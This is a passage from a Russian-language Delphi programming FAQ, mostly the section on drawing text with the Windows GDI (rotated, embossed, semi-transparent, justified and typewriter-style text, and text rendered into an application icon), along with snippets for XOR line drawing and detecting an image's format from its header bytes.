  Form1.Canvas.MoveTo(xo, yo);
  Form1.Canvas.LineTo(lx, ly);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Color := clWhite;
  Form1.Canvas.Pen.Color := clRed;
  Form1.Canvas.Pen.Width := 3;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  Form1.Tag := 1;
  xo := X;

  yo := Y;
  lx := X;
  ly := Y;
  Form1.Canvas.Pen.Mode := pmNotXor;
  XORLine;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  if ssLeft in Shift then begin
    XORLine;
    lx := X;
    ly := Y;
    XORLine;
  end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);

begin
  Form1.Canvas.Pen.Mode := pmCopy;
  Form1.Canvas.MoveTo(xo, yo);
  Form1.Canvas.LineTo(X, Y);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как добавить функции картографирования в приложение

Очень просто, идешь на http://www.dataplus.ru/win/DownLoad.htm и скачиваешь MapObjects LT Evaluation Copy (1,756 Mb) и MapObjects LT samples (3,343 Mb). Все это может работать под Visual Basic, Visual C++, Delphi и PowerBuilder. Ну а если есть деньги то советую MapObjects 2.1 http://www.dataplus.ru/WIN/NEWS/2001/May/MO2.1.htm


Определить формат изображения, загруженного в TMemoryStream

type
  ImageType = (NoImage, Bmp, Gif, Gif89, Png, Jpg);

function KindOfImage(Start: Pointer): ImageType;
type
  ByteArray = array[0..10] of byte;
var
  PB: ^ByteArray absolute Start;
  PW: ^Word absolute Start;
  PL: ^DWord absolute Start;
begin
if PL^ = $38464947 then
  begin
  if PB^[4] = Ord('9') then Result := Gif89
  else Result := Gif;
  end
else if PW^ = $4D42 then Result := Bmp
else if PL^ = $474E5089 then Result := Png
else if PW^ = $D8FF then Result := Jpg
else Result := NoImage;
end;

Пользоваться можно так:

case KindOfImage(MemoryStream.Memory) of
...

Автор s-mike
Взято из http://forum.sources.ru


Манипуляции с текстом

Cодержание раздела:

Как вывести текст, написанный под углом?
Как нарисовать disable текст
Как преобразовать текст в иконку?
Вывод надписи на рабочий стол
Как вращать текст
Как разместить прозрачную надпись на TBitmap?
Вывод текста с эффектами
Как выдавить текст New!
Как вывести полупрозрачный текст New!
Выравнивание текста по ширине New!
Show a text progressiv as typed with a typewriter (horizontal/vertical) New!

См. также статьи в других разделах:
Выводим цветной текст на форме под любым углом
Как вывести цветной текст в TStatusBar?
Как выдать текст под наклоном?
Вывести полупрозрачный текст
Вертикальный текст
Как вывести текст с красивым обрезанием если не помещается
Как изменить фоновый цвет текста
Масштабирование размера формы и размера шрифтов
Различные разрешения - различные размеры шрифтов
Как сделать фон у текста прозрачным?


Как вывести текст, написанный под углом?

Для того чтобы вывести текст под углом, вытянуть или сжать его нужно воспользоваться структурой LOGFONT. Здесь показаны не все ее возможности, но, на мой взгляд, самые интересные.

procedure TForm1.FormPaint(Sender: TObject);
var
  lf: TLogFont;
begin
  FillChar(lf, SizeOf(lf), 0);
  with lf do begin
    // Высота буквы
    lfHeight := 15;

    // Ширина буквы
    lfWidth := 20;

    // Угол наклона в десятых градуса
    lfEscapement := 100;

     // Жирность 0..1000, 0 - по умолчанию
    lfWeight := 1000;

    // Курсив
    lfItalic := 0;

    // Подчеркнут
    lfUnderline := 1;

    // Зачеркнут
    lfStrikeOut := 1;

    // CharSet
    lfCharSet := RUSSIAN_CharSet;

    // Название шрифта
    StrCopy(lfFaceName, 'Arial');
  end;
  with Form1.Canvas do begin
    FillRect(ClipRect);
    Font.Handle := CreateFontIndirect(lf);
    TextOut(0, 100, 'It is a text string');
  end;
end;

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru

{ Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах }
{ Шрифт должен быть TrueType ! }
procedure CanvasSetTextAngle(c: TCanvas; d: single);
var   LogRec: TLOGFONT;     { Информация о шрифте }
begin
 {Читаем текущюю инф. о шрифте }
 GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
 { Изменяем угол }
 LogRec.lfEscapement := round(d*10);
 { Устанавливаем новые параметры }
 c.Font.Handle := CreateFontIndirect(LogRec);
end;

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как нарисовать disable текст

Draw Disabled Text **************
 ***** This function draws text in "disabled" style.  *****
 ***** i.e. the text is grayed .                      *****
 **********************************************************}
function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer;
                           var Rect: TRect;  Format: Word): Integer;
begin
  SetBkMode(Canvas.Handle, TRANSPARENT);

  OffsetRect(Rect, 1, 1);
  Canvas.Font.color:= ClbtnHighlight;
  DrawText (Canvas.Handle, Str, Count, Rect,Format);

  Canvas.Font.Color:= ClbtnShadow;
  OffsetRect(Rect, -1, -1);
  DrawText (Canvas.Handle, Str, Count, Rect, Format);
end;

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как преобразовать текст в иконку?

unit unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Timer1: TTimer;
    Image1: TImage;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    function StringToIcon(const st: string): HIcon;
  public
{ Public declarations }
  end;

var
  Form1: TForm1;
  sss: Integer = 0;

implementation

{$R *.DFM}

type
  ICONIMAGE = record
    Width, Height, Colors: DWORD; // Ширина, Высота и кол-во цветов
    lpBits: PChar; // указатель на DIB биты
    dwNumBytes: DWORD; // Сколько байт?
    lpbi: PBitmapInfoHeader; // указатель на заголовок
    lpXOR: PChar; // указатель на XOR биты изображения
    lpAND: PChar; // указатель на AND биты изображения
  end;

function CopyColorTable(var lpTarget: BITMAPINFO; const lpSource:
  BITMAPINFO): boolean;
var
  dc: HDC;
  hPal: HPALETTE;
  pe: array[0..255] of PALETTEENTRY;
  i: Integer;
begin
  result := False;
  case (lpTarget.bmiHeader.biBitCount) of
    8:
      if lpSource.bmiHeader.biBitCount = 8 then
        begin
          Move(lpSource.bmiColors, lpTarget.bmiColors, 256 * sizeof(RGBQUAD));
          result := True
        end
      else
        begin
          dc := GetDC(0);
          if dc <> 0 then
          try
            hPal := CreateHalftonePalette(dc);
            if hPal <> 0 then
            try
              if GetPaletteEntries(hPal, 0, 256, pe) <> 0 then
                begin
                  for i := 0 to 255 do
                    begin
                      lpTarget.bmiColors[i].rgbRed := pe[i].peRed;
                      lpTarget.bmiColors[i].rgbGreen := pe[i].peGreen;
                      lpTarget.bmiColors[i].rgbBlue := pe[i].peBlue;
                      lpTarget.bmiColors[i].rgbReserved := pe[i].peFlags
                    end;
                  result := True
                end
            finally
              DeleteObject(hPal)
            end
          finally
            ReleaseDC(0, dc)
          end
        end;

    4:
      if lpSource.bmiHeader.biBitCount = 4 then
        begin
          Move(lpSource.bmiColors, lpTarget.bmiColors, 16 * sizeof(RGBQUAD));
          result := True
        end
      else
        begin
          hPal := GetStockObject(DEFAULT_PALETTE);
          if (hPal <> 0) and (GetPaletteEntries(hPal, 0, 16, pe) <> 0) then
            begin
              for i := 0 to 15 do
                begin
                  lpTarget.bmiColors[i].rgbRed := pe[i].peRed;
                  lpTarget.bmiColors[i].rgbGreen := pe[i].peGreen;
                  lpTarget.bmiColors[i].rgbBlue := pe[i].peBlue;
                  lpTarget.bmiColors[i].rgbReserved := pe[i].peFlags
                end;
              result := True
            end
        end;
    1:
      begin
        i := 0;
        lpTarget.bmiColors[i].rgbRed := 0;
        lpTarget.bmiColors[i].rgbGreen := 0;
        lpTarget.bmiColors[i].rgbBlue := 0;
        lpTarget.bmiColors[i].rgbReserved := 0;
        i := 1;
        lpTarget.bmiColors[i].rgbRed := 255;
        lpTarget.bmiColors[i].rgbGreen := 255;
        lpTarget.bmiColors[i].rgbBlue := 255;
        lpTarget.bmiColors[i].rgbReserved := 0;
        result := True
      end;
  else
    result := True
  end
end;

function WidthBytes(bits: DWORD): DWORD;
begin
  result := ((bits + 31) shr 5) shl 2
end;

function BytesPerLine(const bmih: BITMAPINFOHEADER): DWORD;
begin
  result := WidthBytes(bmih.biWidth * bmih.biPlanes * bmih.biBitCount)
end;

function DIBNumColors(const lpbi: BitmapInfoHeader): word;
var
  dwClrUsed: DWORD;
begin
  dwClrUsed := lpbi.biClrUsed;
  if dwClrUsed <> 0 then
    result := Word(dwClrUsed)
  else
    case lpbi.biBitCount of
      1: result := 2;
      4: result := 16;
      8: result := 256
    else
      result := 0
    end
end;

function PaletteSize(const lpbi: BitmapInfoHeader): word;
begin
  result := DIBNumColors(lpbi) * sizeof(RGBQUAD)
end;

function FindDIBBits(const lpbi: BitmapInfo): PChar;
begin
  result := @lpbi;
  result := result + lpbi.bmiHeader.biSize + PaletteSize(lpbi.bmiHeader)
end;

function ConvertDIBFormat(var lpSrcDIB: BITMAPINFO; nWidth, nHeight, nbpp: DWORD; bStretch: boolean):
  PBitmapInfo;
var
  lpbmi: PBITMAPINFO;
  lpSourceBits, lpTargetBits: Pointer;
  DC, hSourceDC, hTargetDC: HDC;
  hSourceBitmap, hTargetBitmap, hOldTargetBitmap, hOldSourceBitmap:
  HBITMAP;
  dwSourceBitsSize, dwTargetBitsSize, dwTargetHeaderSize: DWORD;
begin
  result := nil;
// Располагаем и заполняем структуру BITMAPINFO для нового DIB
// Обеспе?иваем достато?но места для 256-цветной таблицы
  dwTargetHeaderSize := sizeof(BITMAPINFO) + (256 * sizeof(RGBQUAD));
  GetMem(lpbmi, dwTargetHeaderSize);
  try
    lpbmi^.bmiHeader.biSize := sizeof(BITMAPINFOHEADER);
    lpbmi^.bmiHeader.biWidth := nWidth;
    lpbmi^.bmiHeader.biHeight := nHeight;
    lpbmi^.bmiHeader.biPlanes := 1;
    lpbmi^.bmiHeader.biBitCount := nbpp;
    lpbmi^.bmiHeader.biCompression := BI_RGB;
    lpbmi^.bmiHeader.biSizeImage := 0;
    lpbmi^.bmiHeader.biXPelsPerMeter := 0;
    lpbmi^.bmiHeader.biYPelsPerMeter := 0;
    lpbmi^.bmiHeader.biClrUsed := 0;
    lpbmi^.bmiHeader.biClrImportant := 0; // Заполняем в таблице цветов
    if CopyColorTable(lpbmi^, lpSrcDIB) then
      begin
        DC := GetDC(0);
        hTargetBitmap := CreateDIBSection(DC, lpbmi^, DIB_RGB_COLORS,
          lpTargetBits, 0, 0);
        hSourceBitmap := CreateDIBSection(DC, lpSrcDIB, DIB_RGB_COLORS,
          lpSourceBits, 0, 0);

        try
          if (dc <> 0) and (hTargetBitmap <> 0) and (hSourceBitmap <> 0) then
            begin
              hSourceDC := CreateCompatibleDC(DC);
              hTargetDC := CreateCompatibleDC(DC);
              try
                if (hSourceDC <> 0) and (hTargetDC <> 0) then
                  begin
// Flip the bits on the source DIBSection to match the source DIB
                    dwSourceBitsSize := DWORD(lpSrcDIB.bmiHeader.biHeight) * BytesPerLine(lpSrcDIB.bmiHeader);
                    dwTargetBitsSize := DWORD(lpbmi^.bmiHeader.biHeight) *
                      BytesPerLine(lpbmi^.bmiHeader);
                    Move(FindDIBBits(lpSrcDIB)^, lpSourceBits^, dwSourceBitsSize);

// Select DIBSections into DCs
                    hOldSourceBitmap := SelectObject(hSourceDC, hSourceBitmap);
                    hOldTargetBitmap := SelectObject(hTargetDC, hTargetBitmap);

                    try
                      if (hOldSourceBitmap <> 0) and (hOldTargetBitmap <> 0) then
                        begin
// Устанавливаем таблицу цветов для DIBSections
                          if lpSrcDIB.bmiHeader.biBitCount <= 8 then
                            SetDIBColorTable(hSourceDC, 0, 1 shl lpSrcDIB.bmiHeader.biBitCount, lpSrcDIB.bmiColors);

                          if lpbmi^.bmiHeader.biBitCount <= 8 then
                            SetDIBColorTable(hTargetDC, 0, 1 shl
                              lpbmi^.bmiHeader.biBitCount, lpbmi^.bmiColors);

// If we are asking for a straight copy, do it
                          if (lpSrcDIB.bmiHeader.biWidth = lpbmi^.bmiHeader.biWidth) and (lpSrcDIB.bmiHeader.biHeight = lpbmi^.bmiHeader.biHeight) then
                            BitBlt(hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, SRCCOPY)
                          else if bStretch then
                            begin
                              SetStretchBltMode(hTargetDC, COLORONCOLOR);
                              StretchBlt(hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth,
                                lpbmi^.bmiHeader.biHeight,
                                hSourceDC, 0, 0, lpSrcDIB.bmiHeader.biWidth, lpSrcDIB.bmiHeader.biHeight,
                                SRCCOPY)
                            end
                          else
                            BitBlt(hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, SRCCOPY);

                          GDIFlush;
                          GetMem(result, Integer(dwTargetHeaderSize + dwTargetBitsSize));

                          Move(lpbmi^, result^, dwTargetHeaderSize);
                          Move(lpTargetBits^, FindDIBBits(result^)^, dwTargetBitsSize)
                        end
                    finally
                      if hOldSourceBitmap <> 0 then SelectObject(hSourceDC, hOldSourceBitmap);
                      if hOldTargetBitmap <> 0 then SelectObject(hTargetDC, hOldTargetBitmap);
                    end
                  end
              finally
                if hSourceDC <> 0 then DeleteDC(hSourceDC);
                if hTargetDC <> 0 then
                  DeleteDC(hTargetDC)
              end
            end;
        finally
          if hTargetBitmap <> 0 then DeleteObject(hTargetBitmap);
          if hSourceBitmap <> 0 then DeleteObject(hSourceBitmap);
          if dc <> 0 then
            ReleaseDC(0, dc)
        end
      end
  finally
    FreeMem(lpbmi)
  end
end;

function DIBToIconImage(var lpii: ICONIMAGE; var lpDIB: BitmapInfo;
  bStretch: boolean): boolean;
var
  lpNewDIB: PBitmapInfo;
begin
  result := False;
  lpNewDIB := ConvertDIBFormat(lpDIB, lpii.Width, lpii.Height, lpii.Colors,
    bStretch);
  if Assigned(lpNewDIB) then
  try

    lpii.dwNumBytes := sizeof(BITMAPINFOHEADER) // Заголовок
      + PaletteSize(lpNewDIB^.bmiHeader) // Палитра
      + lpii.Height * BytesPerLine(lpNewDIB^.bmiHeader) // XOR маска
      + lpii.Height * WIDTHBYTES(lpii.Width); // AND маска
// Если здесь уже картинка, то освобождаем е?
    if lpii.lpBits <> nil then
      FreeMem(lpii.lpBits);

    GetMem(lpii.lpBits, lpii.dwNumBytes);
    Move(lpNewDib^, lpii.lpBits^, sizeof(BITMAPINFOHEADER) + PaletteSize
      (lpNewDIB^.bmiHeader));
// Выравниваем внутренние указатели/переменные для новой картинки
    lpii.lpbi := PBITMAPINFOHEADER(lpii.lpBits);
    lpii.lpbi^.biHeight := lpii.lpbi^.biHeight * 2;

    lpii.lpXOR := FindDIBBits(PBitmapInfo(lpii.lpbi)^);
    Move(FindDIBBits(lpNewDIB^)^, lpii.lpXOR^, lpii.Height * BytesPerLine
      (lpNewDIB^.bmiHeader));

    lpii.lpAND := lpii.lpXOR + lpii.Height * BytesPerLine
      (lpNewDIB^.bmiHeader);
    Fillchar(lpii.lpAnd^, lpii.Height * WIDTHBYTES(lpii.Width), $00);

    result := True
  finally
    FreeMem(lpNewDIB)
  end
end;

function TForm1.StringToIcon(const st: string): HIcon;
var
  memDC: HDC;
  bmp: HBITMAP;
  oldObj: HGDIOBJ;
  rect: TRect;
  size: TSize;
  infoHeaderSize: DWORD;
  imageSize: DWORD;
  infoHeader: PBitmapInfo;
  icon: IconImage;
  oldFont: HFONT;

begin
  result := 0;
  memDC := CreateCompatibleDC(0);
  if memDC <> 0 then
  try
    bmp := CreateCompatibleBitmap(Canvas.Handle, 16, 16);
    if bmp <> 0 then
    try
      oldObj := SelectObject(memDC, bmp);
      if oldObj <> 0 then
      try
        rect.Left := 0;
        rect.top := 0;
        rect.Right := 16;
        rect.Bottom := 16;
        SetTextColor(memDC, RGB(255, 0, 0));
        SetBkColor(memDC, RGB(128, 128, 128));
        oldFont := SelectObject(memDC, font.Handle);
        GetTextExtentPoint32(memDC, PChar(st), Length(st), size);
        ExtTextOut(memDC, (rect.Right - size.cx) div 2, (rect.Bottom - size.cy) div 2, ETO_OPAQUE, @rect, PChar(st), Length(st), nil);
        SelectObject(memDC, oldFont);
        GDIFlush;

        GetDibSizes(bmp, infoHeaderSize, imageSize);
        GetMem(infoHeader, infoHeaderSize + ImageSize);
        try
          GetDib(bmp, SystemPalette16, infoHeader^, PChar(DWORD(infoHeader) + infoHeaderSize)^);

          icon.Colors := 4;
          icon.Width := 32;
          icon.Height := 32;
          icon.lpBits := nil;
          if DibToIconImage(icon, infoHeader^, True) then
          try
            result := CreateIconFromResource(PByte(icon.lpBits), icon.dwNumBytes, True, $00030000);
          finally
            FreeMem(icon.lpBits)
          end
        finally
          FreeMem(infoHeader)
        end

      finally
        SelectObject(memDC, oldOBJ)
      end
    finally
      DeleteObject(bmp)
    end
  finally
    DeleteDC(memDC)
  end
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Application.Icon.Handle := StringToIcon('0');
  Timer1.Enabled := True;
  Button1.Enabled := False;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Inc(sss);
  if sss > 100 then sss := 1;
  Application.Icon.Handle := StringToIcon(IntToStr(sss));
end;

end.

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Вывод надписи на рабочий стол

На рабочий стол можно вывести строку используя

TextOut(GetWindowDC(GetDesktopWindow),100,100,'Thom',4);

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru

Поверх всех окон можно нарисовать надпись использую следующую процедуру:

procedure WriteDC(s: string);
var c: TCanvas;
begin
  c := TCanvas.Create;
  c.Brush.Color := clBlue;
  c.Font.color := clYellow;
  c.Font.name := 'Fixedsys';
  c.Handle := GetDC(GetWindow(GetDesktopWindow, GW_OWNER));
  c.TextOut(screen.Width - c.TextWidth(s) - 2, screen.Height - 43, s);
  c.free;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как вращать текст

procedure TextOutAngle(x,y,aAngle,aSize: integer; txt: string);
var hFont, Fontold: integer;
    DC: hdc;
    Fontname: string;
begin
  if length(txt)= 0 then
    EXIT;
  DC:= Screen.ActiveForm.Canvas.handle;
  SetBkMode(DC, transparent);
  Fontname:= Screen.ActiveForm.Canvas.Font.Name;
  hFont:= CreateFont(-aSize,0, aAngle*10,0, fw_normal,0, 0,
                     0,1,4,$10,2,4,PChar(Fontname));
  Fontold:= SelectObject(DC, hFont);
  TextOut(DC,x,y,PChar(txt), length(txt));
  SelectObject(DC, Fontold);
  DeleteObject(hFont);
end;

Взято из http://forum.sources.ru


Как разместить прозрачную надпись на TBitmap?

procedure TForm1.Button1Click(Sender: TObject);
var
   OldBkMode : integer;
begin
   Image1.Picture.Bitmap.Canvas.Font.Color := clBlue;
   OldBkMode := SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,TRANSPARENT);
   Image1.Picture.Bitmap.Canvas.TextOut(10, 10, 'Hello');
   SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,OldBkMode);
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Вывод текста с эффектами

How to make TextOut with 3d-Effect or hollow Text

Answer:

Make a new Application and take this Proc bellow for the OnPaint-Event of the Form. The TextOutput will look like written with a kaligraf.If You replace the for loop in the proc with a single call of textout you can use this code to write "hollow" text. Try it with different Pen-Styles too!

procedure TForm1.FormPaint(Sender: TObject);
var
  HFnt: HFONT;
  Fontname, Txt: PChar;
  sze: Size;
  c: Integer;
  byt: Byte;
begin
  Fontname := 'Arial';
  txt := 'Mediakueche';
  HFnt := CreateFont(90, 60, 0, 0, FW_BOLD, 0, 0, 0, DEFAULT_CHARSET,
    OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
    PROOF_QUALITY, DEFAULT_PITCH + FF_DONTCARE, Fontname);
  SelectObject(Canvas.Handle, hfnt);
  SetBkMode(Canvas.Handle, TRANSPARENT);
  GetTextExtentPoint32(Canvas.Handle, txt, length(txt), sze);
  BeginPath(Canvas.Handle);
  c := 1;
  for c := 0 to 4 do
  begin
    TextOut(Canvas.Handle, 5 + c, 10 + c, Txt, length(Txt));
  end;
  EndPath(Canvas.Handle);
  //  Canvas.pen.Style := psDot;
  StrokePath(Canvas.Handle);
  SetBkMode(Canvas.Handle, OPAQUE);

  DeleteObject(SelectObject(Canvas.Handle, GetStockObject(WHITE_BRUSH)));
  SelectObject(Canvas.Handle, GetStockObject(SYSTEM_FONT));
  DeleteObject(HFnt);

end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как выдавить текст

Чтобы сделать текст выпуклым, нужно за светло-серой надписью разместить точно такие же надписи, только белую чуть левее и выше и светло-серую чуть правее и ниже.

Приведенная ниже программа выводит выпуклый текст, который вдавливается при нажатии.

const
  s = 'It is a text string';
  ColDark = clGray;
  ColNorm = clSilver;
  ColLight = clWhite;
  XPos = 10;
  YPos = 10;
  dx = 1;
  dy = 1;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Canvas.Brush.Style := bsClear;
  with Form1.Canvas.Font do begin
    Name := 'Arial';
    Size := 20;
    Style := [fsBold];

  end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  with Form1.Canvas do begin
    Font.Color := ColDark;
    TextOut(XPos - dx, YPos - dy, s);
    Font.Color := ColLight;
    TextOut(XPos + dx, YPos + dy, s);
    Font.Color := ColNorm;
    TextOut(XPos, YPos, s);
  end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;

  Shift: TShiftState; X, Y: Integer);
begin
  with Form1.Canvas do begin
    Font.Color := ColLight;
    TextOut(XPos - dx, YPos - dy, s);
    Font.Color := ColDark;
    TextOut(XPos + dx, YPos + dy, s);
    Font.Color := ColNorm;
    TextOut(XPos, YPos, s);
  end;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
  Form1.MouseUp(mbLeft, [], 0, 0);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как вывести полупрозрачный текст

Пример вывода полупрозрачного текста.

procedure TForm1.FormPaint(Sender: TObject);
var
  x, y: integer;
  bm: TBitMap;
begin
  Form1.ClientWidth := 200;
  Form1.ClientHeight := 100;
  randomize;
  for x := 0 to 199 do
    for y := 0 to 99 do
      if random(3) = 1
        then Form1.Canvas.Pixels[x,y] := clGreen
        else Form1.Canvas.Pixels[x,y] := clLime;
  bm := TBitMap.Create;
  bm.Width := 200;

  bm.Height := 100;
  with bm.Canvas do begin
    Brush.Color := clGreen;
    FillRect(ClipRect);
    Font.Name := 'Arial';
    Font.Size := 50;
    Font.Color := clGray;
    Font.Style := [fsBold];
    TextOut((bm.Width - TextWidth('Text')) div 2,
      (bm.Height - TextHeight('Text')) div 2, 'Text');
  end;
  Form1.Canvas.CopyMode := cmSrcPaint;
  Form1.Canvas.CopyRect(bm.Canvas.ClipRect, bm.Canvas,
    bm.Canvas.ClipRect);

  bm.Destroy;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Выравнивание текста по ширине

Текст выглядит лучше, если он выровнен по двух краям. Для этого пробелы в каждой строке нужно удлинять или укорачивать так, чтобы все строки имели одну длину.
Здесь создана процедура GetLine, которая возвращает одну строку, начиная с заданного символа. Программа находит разницу между шириной текста и реальной длинной строки и при выводе компенсирует эту разницу удлинением пробелов.
Эта программа выводит на экран текст из файла C:\text.txt, выравнивая его по двум краям.

type
  ...
  TLine = record
    s: string;
    wrap: boolean;
    length: integer;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

const
  FileName = 'C:\text.txt';

var
  s: string;
  bm: TBitMap;
  LineH: integer;
  MaxTextWidth: integer;

procedure TForm1.FormCreate(Sender: TObject);
var
  F: TFileStream;
  buf: array [0..127] of char;

  l: integer;
begin
  ScrollBar1.Kind := sbVertical;
  bm := TBitMap.Create;
  with bm.Canvas.Font do begin
    Name := 'Serif';
    Size := 12;
  end;
  LineH := bm.Canvas.TextHeight('123');

  if not FileExists(FileName) then begin
    ShowMessage('Can not find file ' + FileName);
    Exit;
  end;
  F := TFileStream.Create(FileName, fmOpenRead);
  repeat
    l := F.Read(buf, 128);

    if l = 128
      then s := s + buf
      else s := s + copy(buf, 1, l);
  until l < 128;
  F.Destroy;
end;

procedure TForm1.FormResize(Sender: TObject);
begin
  PaintBox1.Left := 0;
  PaintBox1.Top := 0;
  PaintBox1.Height := Form1.ClientHeight;
  PaintBox1.Width := Form1.ClientWidth - ScrollBar1.Width;
  ScrollBar1.Left := PaintBox1.Width;
  ScrollBar1.Top := 0;
  ScrollBar1.Height := PaintBox1.Height;

  bm.Width := PaintBox1.Width;
  bm.Height := PaintBox1.Height;
  ScrollBar1.Max := 1000;
  MaxTextWidth := PaintBox1.Width - 20;
end;

function RealTextWidth(s: string): integer;
var
  i: integer;
begin
  result := bm.Canvas.TextWidth(s);
  for i := 1 to Length(s) do
    if s[i] = #9 then
      inc(result, 40 - bm.Canvas.TextWidth(#9));
end;

function GetLine(index: integer): TLine;

var
  i: integer;
  s1: string;
  first: integer;
begin
  if (s[index] = #13) and (s[index + 1] = #10) then begin
    result.s := '';
    result.length := 2;
    result.wrap := true;
    Exit;
  end;
  first := index;
  while (first <= Length(s)) and (s[first] in [#32]) do inc(first);
  i := first;
  repeat
    while (i <= Length(s)) and (not (s[i] in [#9, #32])) and (s[i] <> #13) do

      inc(i);
    s1 := copy(s, first, i - index);
    inc(i);
  until (i >= Length(s)) or (s[i-1] = #13) or (RealTextWidth(s1) > MaxTextWidth);
  if RealTextWidth(s1) > MaxTextWidth then begin
    result.wrap := false;
    if i < Length(s) then begin
      dec(i, 2);
      while (i > 0) and (not (s[i] in [#9, #32])) do dec(i);
      result.Length := i - index;

      while (i > 0) and (s[i] in [#9, #32]) do dec(i);
    end;
    result.s := copy(s, first, i - index + 1);
    if result.s[length(result.s)] = #32 then
      delete(result.s, length(result.s) , 1);
  end else begin
    result.length := i - index + 1;
    s1 := copy(s, first, i - index + 1);
    if length(s1) > 0 then begin
      if s1[Length(s1)] = #9

        then delete(s1, Length(s1), 1);
      if s1[length(s1) - 1] + s1[length(s1)] = #13#10
        then delete(s1, length(s1) - 1, 2);
    end;
    result.s := s1;
    result.wrap := true;
  end;
end;

procedure draw;
var
  i, j: integer;
  line: TLine;
  OneWord: string;
  LineN: integer;
  SpaceCount: integer;
  TextLeft: integer;
  shift, allshift: integer;
  d: integer;
  LineCount: integer;

begin
  with bm.Canvas do begin
    FillRect(ClipRect);
    i := 1;
    LineCount := 0;
    for j := 1 to Form1.ScrollBar1.Position do begin
      line := GetLine(i);
      inc(i, line.length);
      inc(LineCount);
    end;
    LineN := 0;
    repeat
      line := GetLine(i);
      SpaceCount := 0;
      TextLeft := 0;
      for j := 1 to Length(line.s) do
        if line.s[j] = #32 then inc(SpaceCount);

      if line.wrap = false
        then allshift := MaxTextWidth - RealTextWidth(line.s)
        else allshift := 0;
      if allshift > 40 * SpaceCount then allshift := 0;
      shift := 0;
      for j := 1 to Length(line.s) do begin
        if (not (line.s[j] in [#9, #32])) and (j < Length(line.s)) then begin
          OneWord := OneWord + line.s[j];

        end else begin
          OneWord := OneWord + line.s[j];
          if OneWord = #9 then begin
            inc(TextLeft, 40);
          end else begin
            if OneWord = #13#10 then begin
              inc(LineN);
            end else begin
              TextOut(10 + TextLeft, LineN * LineH, OneWord);
              if SpaceCount = 0

                then d := 0
                else d := (allshift - shift) div (SpaceCount);
              inc(shift, d);
              inc(TextLeft, TextWidth(OneWord) + d);
              dec(SpaceCount);
            end;
          end;
          OneWord := '';
        end;
      end;
      inc(i, line.length);
      inc(LineN);
    until (LineN * LineH > Form1.PaintBox1.Height) or (i >= Length(s));

    repeat
      line := GetLine(i);
      inc(i, line.length);
      inc(LineCount);
    until i >= Length(s);
    inc(LineCount, LineN);
    Form1.ScrollBar1.Max := LineCount -
      Form1.PaintBox1.Height div LineH;
  end;
  Form1.PaintBox1.Canvas.Draw(0, 0, bm);
end;

procedure TForm1.PaintBox1Paint(Sender: TObject);
begin
  draw;
end;

procedure TForm1.ScrollBar1Change(Sender: TObject);

begin
  draw;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Show a text progressiv as typed with a typewriter (horizontal/vertical)

{
 To make this code to work you would need 2 images,
 one for the horizontal- and another for the vertical text.
}

// VerticalTypewriter ( <Text>, <Image to write to>, <Time to delay between every chars> )
procedure VerticalTypewriter(text: string; image: timage; delay: integer);
var
 x,y,i: integer;
begin
 image.Canvas.Refresh;
 application.ProcessMessages;
 y := 1;

 for i := 1 to length(text) do begin
  application.ProcessMessages;
  y := y+image.Canvas.TextHeight(text[i]);
  x := image.width div 2 - (image.Canvas.TextWidth(text[i]) div 2);
  image.Canvas.TextOut(x,y,text[i]);
  sleep(delay);
 end;

end;

// Horizontal Typewriter ( <Text>, <Image to write to>, <Time to delay between every chars>, <Space between chars>)
procedure HorizontalTypewriter(text: string; image: timage; delay, space: integer);
var
 x,y,i: integer;
begin
 image.Canvas.Refresh;
 application.ProcessMessages;
